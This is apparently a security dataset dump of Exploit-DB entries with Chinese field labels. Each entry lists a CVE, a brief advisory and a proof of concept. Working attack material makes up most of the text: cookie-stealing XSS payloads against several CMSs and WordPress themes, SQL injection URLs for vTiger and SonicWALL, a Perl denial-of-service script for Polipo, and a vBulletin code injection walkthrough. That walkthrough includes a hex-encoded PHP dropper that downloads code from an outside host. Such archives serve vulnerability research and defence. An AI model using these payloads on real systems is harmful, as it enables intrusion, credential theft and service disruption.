QLWD/code_shield huggingface dataset:
标题: Toshiba e-Studio (Multiple Devices) - Security Bypass EDB-ID: 36238 CVE: 2012-1239 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/50168/info

Multiple Toshiba e-Studio devices are prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and gain access in the context of the device. 

http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm URL: https://www.exploit-db.com/exploits/36238
标题: ContaoCMS 2.10.1 - Cross-Site Scripting EDB-ID: 36225 CVE: 2011-4335 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/50061/info

Contao is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Contao 2.10.1 is vulnerable; other versions may also be affected. 

http://www.example.com/contao-2.10.1/index.php/teachers.html?"/><script>alert(&#039;xss&#039;)</script>
http://www.example.com/contao-2.10.1/index.php/teachers/&#039;"</style></script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36225
标题: vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection EDB-ID: 36232 CVE: 2014-9463 类型: WEBAPPS 平台: PHP 发布日期: 2015-03-02 漏洞利用脚本: #################################################################################################################
[+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] My Homepage: black-hg.org / nasirpour.info
[+] Date: [2015 27 February]
[+] Vendor Homepage: vBulletin.com
[+] Tested on: [vBulletin 4.2.2]
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
#################################################################################################################
Remote Code Injection:
+++++++++++++++++++++++++
1) You Must Register In The vBulletin http://server/register.php example:[blackhat]

2) go to your user profile example: [http://server/members/blackhat.html]

3) post something in visitor message and record post data with live http header

[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]

[Now post this with hackbar:]

URL:  http://server/visitormessage.php?do=message

[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse=

[And referrer data:] 
PoC : http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

[Example referrer data:] > upload downloader.php and s.php
PoC : http://server/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]

5- Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

and submit request.

################################################################################################################ URL: https://www.exploit-db.com/exploits/36232
标题: SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36226 CVE: 2011-4958 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/50063/info

SilverStripe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SilverStripe 2.4.5 is vulnerable; other versions may also be affected. 

http://www.example.com/SilverStripe-v2.4.5/admin/reports/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/comments/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/4?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/2?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/root?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/3?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/assets/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/1?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/5?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/security/?&#039;"</script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36226
标题: GoAhead Web Server 2.18 - 'addgroup.asp?group' Cross-Site Scripting EDB-ID: 36217 CVE: 2011-4273 类型: REMOTE 平台: WINDOWS 发布日期: 2011-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/50039/info

GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddGroup HTTP/1.1
group=<script>alert(1337)</script>&privilege=4&method=1&enabled=on&ok=OK URL: https://www.exploit-db.com/exploits/36217
标题: GoAhead Web Server 2.18 - 'addlimit.asp?url' Cross-Site Scripting EDB-ID: 36218 CVE: 2011-4273 类型: REMOTE 平台: WINDOWS 发布日期: 2011-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/50039/info
 
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddAccessLimit HTTP/1.1
url=<script>alert(1337)</script>&group=test&method=3&ok=OK URL: https://www.exploit-db.com/exploits/36218
标题: GoAhead Web Server 2.18 - 'adduser.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36219 CVE: 2011-4273 类型: REMOTE 平台: WINDOWS 发布日期: 2011-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/50039/info
  
GoAhead WebServer is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
GoAhead WebServer 2.18 is vulnerable; other versions may also be affected. 

POST /goform/AddUser HTTP/1.1
user=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&group=%3Cscript%3Ealert%281337%2
9%3C%2Fscript%3E&enabled=on&password=test&passconf=test&ok=OK URL: https://www.exploit-db.com/exploits/36219
标题: Microsoft Host Integration Server 2004-2010 - Remote Denial of Service EDB-ID: 36211 CVE: 2011-2007 类型: DOS 平台: WINDOWS 发布日期: 2011-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/49997/info

Microsoft Host Integration Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to become unresponsive or to crash, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36211.zip URL: https://www.exploit-db.com/exploits/36211
标题: Active CMS 1.2 - 'mod' Cross-Site Scripting EDB-ID: 36213 CVE: 2011-4564 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/50001/info

Active CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Active CMS 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecms/admin/admin?action=module&mod=&#039;<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36213
标题: vTiger CRM 5.2 - 'onlyforuser' SQL Injection EDB-ID: 36208 CVE: 2011-4559 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/49948/info

vtiger CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

vtiger CRM 5.2.1 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--

http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4-- URL: https://www.exploit-db.com/exploits/36208
标题: Netvolution 2.5.8 - 'referer' Header SQL Injection EDB-ID: 36200 CVE: 2011-3340 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/49918/info

Netvolution is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Netvolution 2.5.8 is vulnerable; other versions may also be affected. 

The following example input is available:

Referer: 1','0'); [SQL] URL: https://www.exploit-db.com/exploits/36200
标题: Phorum 5.2.18 - '/admin/index.php' Cross-Site Scripting EDB-ID: 36201 CVE: 2011-4561 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/49920/info

Phorum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.18 is vulnerable; other versions may also be affected. 

http://www.example.com/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script>
http://www.example.com/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script> URL: https://www.exploit-db.com/exploits/36201
标题: Polipo 1.0.4.1 - POST/PUT HTTP Header Processing Denial of Service EDB-ID: 36198 CVE: 2011-3596 类型: DOS 平台: MULTIPLE 发布日期: 2011-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/49908/info

Polipo is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

Polipo 1.0.4.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
# POLIPO 1.0.4.1 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible
for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [30/09/11]

$host = $ARGV[0];
$PORT = $ARGV[1];


$evil = "PUT / HTTP/1.1\r\n".
"Content-Length:1\r\n\r\n";


use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host ,
PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin evil Packet Buhahahahaha \n";

send ($sock , $evil , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;



exit; URL: https://www.exploit-db.com/exploits/36198
标题: WordPress Theme Trending 0.1 - 'cpage' Cross-Site Scripting EDB-ID: 36195 CVE: 2011-3859 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/49896/info

The Trending theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Trending theme 0.2 are vulnerable. 

http://www.exmaple.com/?p=8&cpage=[xss] URL: https://www.exploit-db.com/exploits/36195
标题: vTiger CRM 5.2.1 - 'PHPrint.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36204 CVE: 2011-4670 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/49927/info
 
vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

/phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=MyHome Page"><script>alert(0)</script>&jt=

/phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt= URL: https://www.exploit-db.com/exploits/36204
标题: SonicWALL Viewpoint 6.0 - 'scheduleID' SQL Injection EDB-ID: 36196 CVE: 2011-5169 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/49906/info

SonicWall Viewpoint is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Viewpoint 6.0 SP2 is vulnerable; other versions may also be affected. 

https://www.example.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1 URL: https://www.exploit-db.com/exploits/36196
标题: Perl 5.x - Digest Module 'Digest->new()' Code Injection EDB-ID: 36199 CVE: 2011-3597 类型: REMOTE 平台: LINUX 发布日期: 2011-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/49911/info

The Digest module for Perl is prone to a vulnerability that will let attackers inject and execute arbitrary Perl code.

Remote attackers can exploit this issue to run arbitrary code in the context of the affected application.

Digest versions prior to 1.17 are affected. 

Digest->new("::MD5lprint 'ownaide\n';exit(1);"); URL: https://www.exploit-db.com/exploits/36199
标题: WordPress Theme Morning Coffee 3.5 - 'index.php' Cross-Site Scripting EDB-ID: 36186 CVE: 2011-3862 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/49878/info

The Morning Coffee theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Morning Coffee theme prior to 3.6 are vulnerable. 

http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t URL: https://www.exploit-db.com/exploits/36186
标题: WordPress Theme Elegant Grunge 1.0.3 - 's' Cross-Site Scripting EDB-ID: 36181 CVE: 2011-3856 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/49869/info

The Elegant Grunge theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Elegant Grunge theme 1.0.3 is vulnerable; prior versions may also be affected. 

http://www.example.com/?s=&quot;%20%3e%3c/input%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e URL: https://www.exploit-db.com/exploits/36181
标题: WordPress Theme F8 Lite 4.2.1 - 's' Cross-Site Scripting EDB-ID: 36180 CVE: 2011-3855 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/49867/info

The F8 Lite theme for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to F8 Lite theme 4.2.2 are vulnerable. 

http://www.example.com/?p=8&s=[XSS] URL: https://www.exploit-db.com/exploits/36180
标题: WordPress Theme Web Minimalist 1.1 - 'index.php' Cross-Site Scripting EDB-ID: 36184 CVE: 2011-3861 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/49874/info

The Web Minimalist theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Web Minimalist theme 1.4 are vulnerable. 

 http://www.example.com/wp/index.php/[XSS] URL: https://www.exploit-db.com/exploits/36184
标题: WordPress Theme EvoLve 1.2.5 - 's' Cross-Site Scripting EDB-ID: 36182 CVE: 2011-3852 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/49872/info

The EvoLve theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to EvoLve theme 1.2.6 is vulnerable. 

http://www.example.com?s=[xss] URL: https://www.exploit-db.com/exploits/36182
标题: WordPress Theme Cover WP 1.6.5 - 's' Cross-Site Scripting EDB-ID: 36183 CVE: 2011-3860 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/49873/info

The Cover WP theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Cover WP theme 1.6.6 are vulnerable. 

http://www.example.com/?s=[XSS] URL: https://www.exploit-db.com/exploits/36183
标题: WordPress Theme Pixiv Custom Theme 2.1.5 - 'cpage' Cross-Site Scripting EDB-ID: 36185 CVE: 2011-3858 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/49875/info

The Pixiv Custom theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/?cpage=[xss] URL: https://www.exploit-db.com/exploits/36185